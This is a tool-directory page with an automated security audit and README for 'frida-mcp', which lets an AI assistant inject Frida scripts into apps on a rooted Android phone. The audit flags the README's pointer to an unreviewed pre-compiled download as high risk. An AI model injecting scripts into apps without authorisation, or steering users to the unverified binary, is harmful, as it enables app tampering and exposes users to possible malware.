frida-mcp

mcp
Security Audit
Warn
Health Warn
  • No license — Repository has no license file
  • Description — Repository has a description
  • Active repo — Last push 0 days ago
  • Low visibility — Only 5 GitHub stars
Code Warn
  • network request — Outbound network request in src/frida_mcp/server.py
Permissions Pass
  • Permissions — No dangerous permissions requested
Purpose
This tool connects AI assistants to a local Android device, automating the Frida dynamic instrumentation toolkit via the Model Context Protocol to streamline reverse engineering and app analysis.

Security Assessment
The overall risk is rated as High. The primary concern is that the README directs users to download a pre-compiled `.zip` file rather than running directly from the Python source code. Executing unreviewed binaries poses a severe risk, as the contents cannot be easily verified. Additionally, automated rules flagged outbound network requests inside the server script. While interacting with local devices via ADB and root access is expected for this specific use case, granting an AI agent the ability to silently control a rooted phone and execute dynamic scripts is highly sensitive. No hardcoded secrets were detected, and no dangerous host OS permissions are explicitly requested.

Quality Assessment
The repository is brand new, with its last push occurring today, but it suffers from extremely low community visibility (only 5 stars). This means the code has likely not undergone independent peer review. The project lacks a license file, which creates legal ambiguity and restricts how developers can safely use or modify the software.

Verdict
Not recommended — downloading and running opaque, pre-compiled binaries from an unproven repository introduces unacceptable security risks for your local machine and connected mobile devices.
SUMMARY

Enable AI-driven automated Android dynamic analysis by controlling Frida through the Model Context Protocol for streamlined reverse engineering.

README.md

🛠️ frida-mcp - Android Analysis Made Simple

Download


📋 What is frida-mcp?

frida-mcp helps you analyze Android apps by automating Frida using AI commands. It connects your Android phone to your computer, runs analysis scripts automatically, and gives you results without needing to run commands yourself.

This tool works with rooted Android phones running Magisk and the zygisk-gadget module. It uses a server called MCP (Model Context Protocol) that talks to Frida and controls it to inspect apps dynamically.


🖥️ System Requirements

Before starting, check the following:

  • Windows 10 or later.
  • Python 3.10 or higher installed on your PC.
  • An Android phone with root access.
  • Magisk installed on your Android phone.
  • The zygisk-gadget Magisk module installed and set to use port 14725.
  • ADB (Android Debug Bridge) installed and able to connect your phone to your PC.

If you don’t have Python or ADB installed, you will need to install them first. Both are free and easy to get.


🚀 How to Download frida-mcp

Click the large button below to visit the GitHub page where you can download frida-mcp and find setup files.

Download frida-mcp

On the GitHub page:

  1. Look for the “Releases” section to find the latest version.
  2. Download the package or installer suitable for Windows.
  3. Follow instructions there to install the software.

⚙️ Installation and Setup on Windows

After downloading, follow these steps to install and configure frida-mcp on your PC:

  1. Install Python packages

    Open your Command Prompt (search for "cmd" in Windows Start menu).

    Navigate to the folder where you downloaded frida-mcp, or if you have the source code, open Command Prompt there.

    Run this command to install frida-mcp and its dependencies:

    pip install .
    

    This installs the main program and tools you will need.

  2. Run Setup

    After installation completes, run this command to perform automatic setup:

    frida-mcp-setup
    

    This command will register frida-mcp with MCP and install necessary “Skills” for it to work smoothly.

  3. Manual Configuration (optional)

    If automatic setup fails, you can edit the file ~/.claude.json manually:

    {
      "mcpServers": {
        "frida-agent": {
          "command": "frida-mcp"
        }
      }
    }
    

    Save the file and retry running frida-mcp.

  4. Connect your phone

    Make sure your Android phone is connected via USB with USB debugging enabled.

    Confirm that adb can detect your device by running:

    adb devices
    

    Your device should show up on the list.


🔌 Connecting frida-mcp to your Android Phone

frida-mcp uses ADB to talk to the zygisk-gadget module on your phone.

To establish this connection:

  • Run the command:

    frida-mcp connect
    
  • This will forward ports and allow communication between your PC and phone.

  • Check the connection by listing third-party apps on your device:

    frida-mcp list_apps
    
  • If your apps show up, the connection works.


📂 Main frida-mcp Commands

Here are the main commands you will use when running frida-mcp:

Command What it Does
connect Opens ADB port forwarding to connect to zygisk-gadget.
list_apps Shows third-party apps installed on your device.
execute Injects a Frida script into the running app. You can write the script directly or provide a file path.
spawn_and_inject Stops an app, restarts it, and injects a script in one step. Useful when hooking app startup.
get_messages Shows output from the injected scripts. Supports paging and file backup.
logcat Displays Android system logs to help find errors or crashes.
launch_app Starts an app you specify.
kill_app Forces an app to stop.
reconnect Restarts the connection if frida-mcp crashes.
detach Disconnects the current script injection session.

📥 Download frida-mcp Again or Update

If you need to download frida-mcp again or get the latest version:

Then repeat the installation commands as above to update your setup.


🔧 Additional Tips

  • Your phone must remain connected and unlocked during use.
  • If you encounter errors with connection, rerun frida-mcp reconnect or check ADB connection.
  • Use frida-mcp logcat to monitor crashes or issues in real time.
  • If an app does not respond as expected, try spawn_and_inject to restart and inject fresh.
  • Keep Python and ADB updated for best compatibility.

📖 Resources


📂 How frida-mcp Works

The flow looks like this:

AI (Claude) → MCP Server → Frida CLI → zygisk-gadget (phone) → Results returned

This means AI sends commands to MCP, which controls Frida. Frida works with the gadget installed on the phone to analyze apps and send data back to you.


Download

Reviews (0)

No results found